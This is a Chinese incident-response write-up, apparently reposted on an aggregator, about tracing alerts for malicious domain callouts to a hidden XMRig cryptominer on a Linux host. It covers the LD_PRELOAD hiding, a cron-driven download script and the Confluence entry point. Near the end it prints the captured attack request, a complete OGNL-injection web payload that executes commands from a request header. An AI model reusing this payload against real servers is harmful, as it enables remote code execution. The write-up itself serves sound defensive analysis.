警告,恶意域名疯狂外联,原因竟然是……

2024-06-24 12:36

本文主要是介绍警告,恶意域名疯狂外联,原因竟然是……,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

afdf7e15d719d7da4e5991ce69f87fee.jpeg


前言

  

在某个风和日丽的下午,突然收到客户那边运维发过来的消息说我司的DTA设备在疯狂告警,说存在恶意域名外联,我急忙背上小背包前往客户现场,经过与客户协同排查,最终确定该事件为一起挖矿病毒引起的恶意域名外联事件。(因客户信息保密且为了保证文章逻辑完整性,部分截图为后期追加图)

104008f14a7387f6ad5e9eb83a0e8e7f.jpeg

事件分析


1e5d9a48b2155be5e2f48e884ae7d903.jpeg
一看域名地址donate.v2.xmrig.com,xmrig这不门罗币的矿池地址吗,看来是个挖矿事件,从DTA上的告警时间和告警事件来看,确实是个挖矿事件。 经过在DTA产品上分析发现该IP的流量信息,发现该IP主机一直在对该恶意域名进行外联请求,经过和客户沟通之后,对被害主机进行上机排查。执行top命令并未发现存在CPU异常,执行ps命令也未发现恶意进程,netstat命令也未发现恶意ip连接等行为。    d4485ab7b36028bb3301bf388c6dc04b.jpeg 但是在DTA上,该台主机确实一直在请求恶意域名,应该是做了一些隐藏进程的手段,现在类似这种挖矿病毒存在一种主流的隐藏方法,那就是通过LD_PRELOAD来修改运行链接库,修改LD_PRELOAD之后允许在你的程序运行前加载所修改的动态链接库。 那去/etc目录下看看是否存在ld.so.preload这个文件 a904ae5b80d1dbcba8749522d3c99aa0.jpeg 用系统的自带的ls命令并未发现ld.so.preload文件,这里怀疑是一些系统自带的ls等命令已经被动态链接库所hook劫持了,导致查看不到文件,所以上传了一个busybox,不用系统自带的命令来进行查看。 6daf66cad690751b41d483bce0cb321f.jpeg ld.so.preload这个文件,在系统中默认不存在这个文件或者该文件为空 这里直接通过busybox把这个文件给进行删除 fa98d793e2da3ab68eeba31d9ab036b7.jpeg 然后再次使用top命令进行查看 592eb340ecb37ed1c09d1a1af24e5eaf.jpeg 执行lsof -p [pid]命令来定位挖矿木马进程文件 6286434affe30cb29512d0e0f83c50c3.jpeg     来到该目录下发现如下 33c242831f7754ce9cfad64f4343ca7e.jpeg kill -9 3582558去kill掉挖矿木马进程,然后再把挖矿木马一并删除,但是一段时间后,DTA设备上又传来了失陷告警,且该目录下又重新生成了挖矿程序。 使用crontab -l 检查定时任务,发现一个可疑定时程序,该定时执行一个a.sh文件 427d98873cb5da2fb0b5c102f9c4566a.jpeg 该脚本主要内容如下     3794ff0716474949cf1845b61c46c705.jpeg 定义环境变量用来存取配置文件,然后检查ddns.log文件是否存在,这里的逻辑是检查当前时间与文件最后修改时间的差值。如果这个差值大于 6 秒,脚本输出 "process is not running",表示进程可能已经停止运行。如果差值不超过 6 秒,脚本认为进程可能仍在运行。最后根据不同用户来curl不用的sh文件,ai.sh一些关键代码如下 db7f0c4ec2c693ef663d0e2f4c080442.jpeg 杀死大于CPU使用率超过65%的所有进程,防止一些其他挖矿程序或者其他干扰CPU进程的运行 56b97acea1f0b1152de52ef5bde64d61.jpeg 下载的文件名和受害机上文件一致,且确定为挖矿程序。    ca5afd243b6a6561cedde9aef8b7505b.jpeg 对此删除掉恶意定时任务、挖矿病毒,重新kill进程,DTA恢复正常,无失陷流量告警。 挖矿病毒应急算是解决完了,要继续还原攻击者的攻击链路,根据挖矿木马可以分析出攻击者最先落地的是一个a.sh文件,根据a.sh文件名和落地时间和/var/log/messages里面所显示的脚本首次启动时间去查找日志,通过在态感、WAF、日志审计系统等设备再结合开放的端口服务结合查找,终于定位到一条如下攻击日志。

POST /pages/doenterpagevariables.action HTTP/1.1 Host: xxxxx:8090 Connection: keep-alive Content-Length: 599 Cache-Control: max-age=0 sec-ch-ua: "Chromium";v="92", " Not A;Brand";v="99", "Google Chrome";v="92" sec-ch-ua-mobile: ?0 Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded User-Agent: xxxxxx Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6 Cookie: xxxxx cmd: 恶意命令 queryString=%5Cu0027%2B%23%7B%5Cu0022%5Cu0022%5B%5Cu0022class%5Cu0022%5D.forName%28%5Cu0022javax.script.ScriptEngineManager%5Cu0022%29.newInstance%28%29.getEngineByName%28%5Cu0022js%5Cu0022%29.eval%28%5Cu0022var+c%3Dcom.atlassian.core.filters.ServletContextThreadLocal.getRequest%28%29.getHeader%28%5Cu0027cmd%5Cu0027%29%3Bvar+x%3Djava.lang.Runtime.getRuntime%28%29.exec%28c%29%3Bvar+out%3Dcom.atlassian.core.filters.ServletContextThreadLocal.getResponse%28%29.getOutputStream%28%29%3Borg.apache.commons.io.IOUtils.copy%28x.getInputStream%28%29%2Cout%29%3Bout.flush%28%29%3B%5Cu0022%29%7D%2B%5Cu0027     通过再次复现验证 01ec47e4983090b6b087f1c0ce6494e5.jpeg 可以确认攻击者通过8090端口开放的Confluence应用(该版本的Confluence应用存在RCE漏洞)进行getshell,然后上传a.sh文件,最后上传挖矿木马进行挖矿操作。 至此整个攻击链路和应急流程已全部梳理完毕。



https://mp.weixin.qq.com/s/Bmh7RGYVGSGpbTNnLXdbvQ

这篇关于警告,恶意域名疯狂外联,原因竟然是……的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1090166

相关文章

javascript加密出问题原因

问题:js压缩和混淆都没问题,但是加密之后总是出问题,网上资料说加分号,我也加了。但是还是出问题。 参考办法: 后来我把所有if else语句里面的内容全部用{}大括号括起来并在if else语句最后加分号。然后再次加密,运行成功了。

访问网站时IP被屏蔽是什么原因?

在互联网使用中,有时我们可能会遇到访问某个网站时IP地址被屏蔽的情况。IP地址被网站屏蔽是一个相对常见的现象,而导致这种情况的原因多种多样,包括恶意行为、违规访问等。本文将解释IP地址被网站屏蔽的常见原因,同时,我们将提供用户解决IP屏蔽问题的解决方案 一、IP地址被网站屏蔽的常见原因 1、恶意行为: 恶意行为是导致IP地址被网站屏蔽的一大原因。这些行为包括但不限于大规模网络爬虫、DDoS攻

更改ip后还被封是ip质量的原因吗?

不同的代理IP的质量相同,一般来说可以根据以下几个因素来进行判断: 1.可用率 可用率就是提取的这些代理IP中可以正常使用的比率。假如我们无法使用某个代理IP请求目标网站或者请求超时,那么就代表这个代理不可用,一般来说免费代理的可用率普遍较低。 2.响应速度 响应速度可以用耗费时间来衡量,即计算使用这个代理请求网站一直到得到响应所耗费的时间。时间越短,证明代理的响应速度越快,用户在测试时可

超详细!想进华为od的请疯狂看我!

三分钟带你全面了解华为OD 【合同及管理】签约方为科锐国际/外企德科(人力服务公司),劳动合同期为4年,试用期6个月。员工关系合同管理、五险一金、考勤发薪由科锐国际/外企德科负责;定级定薪、员工培训、工作安排、绩效评比和晋升等由华为负责。 【薪酬福利薪资结构】 ① 基本工资+绩效工资+年终奖(2-4个月,一般绩效A-4个月,B-2个月);② D1-D5分别对应华为13-17级,参考范围10-

gitpage自定义域名

在github上托管hexo中,我们将本地页面上传到github上使其能在互联网上访问到。但是域名是username.github.io总感觉不太cool,如果能通过自己的个性化域名访问的话,那就是再好不过的呀。 购买域名 我在万网购买的域名,你也可以在其他地方买,反正有域名就行了。 域名解析 购买了域名后,我们需要将该域名指定到我们github的网址。这个在域名解析中设置,设置结果如下。

「Debug R」有些你认为的报错不是报错(error),是警告(warnnings)

在学员答疑群里看到这样一条提问: 提问 对于这种提问,我只想给出一张深藏已久的图作为回复。 警告和报错 在「Debug R」报错"unable to find an inherited method for function"是如何产生的文章中,我提到一个好的搜索引擎是解决问题的重要因素,于是他也在提问中也提到自己用了谷歌。 虽然搜索引擎能够帮助我

【2024德国留学】签证被拒的十种原因.....

目录 2024德国留学签证被拒的常见原因 一、德语水平不足 二、录取考试未通过 三、签证申请中的其他问题 一、选择适合自己的签证类型 二、准备面签材料 1. 确认预约邮件 2. 签证申请表 3. 自备3张证件照 4. 护照原件和复印件 5. 动机信 6. 个人简历 7. 学历证及其德语翻译件 8. 托管协议(HA) 9. 邀请函 10. 足够的经济来源证明 11.

SyntaxWarning警告

为什么conda环境运行hipcc vector_add.cpp -o vector_add -v会出现: SyntaxWarning: invalid escape sequence '\w'   @staticVars(search_name=re.compile("gfx[0-9a-fA-F]+(:[-+:\w]+)?")) SyntaxWarning: invalid escape se

SD卡无法读取?原因分析与数据恢复策略

一、SD卡无法读取的困境 SD卡作为便携式的存储介质,广泛应用于手机、相机、平板等多种电子设备中。然而,在使用过程中,我们可能会遭遇SD卡无法读取的困扰。当我们将SD卡插入设备时,设备无法识别SD卡,或者虽然识别了SD卡但无法读取其中的数据,这都让我们感到焦虑和不安。面对这种情况,我们首先需要了解SD卡无法读取的原因,然后采取相应的措施进行解决。 SD卡无法读取?原因分析与数据恢复策略

龙芯教育派安装不了loongnix1.0原因

关键在于,教育派PMON向内核传递的参数与龙芯派有差别。教育派内核需要a2用于传memory_offset\cpu_offset\system_offset\irq_offset\interface_offset等参数,而longnix1.0内核需要a2寄存器传设备树加载到内存的地址(0x8f800000)。   内核读取a0~a3的地方在:arch/mips/kernel/head.S 教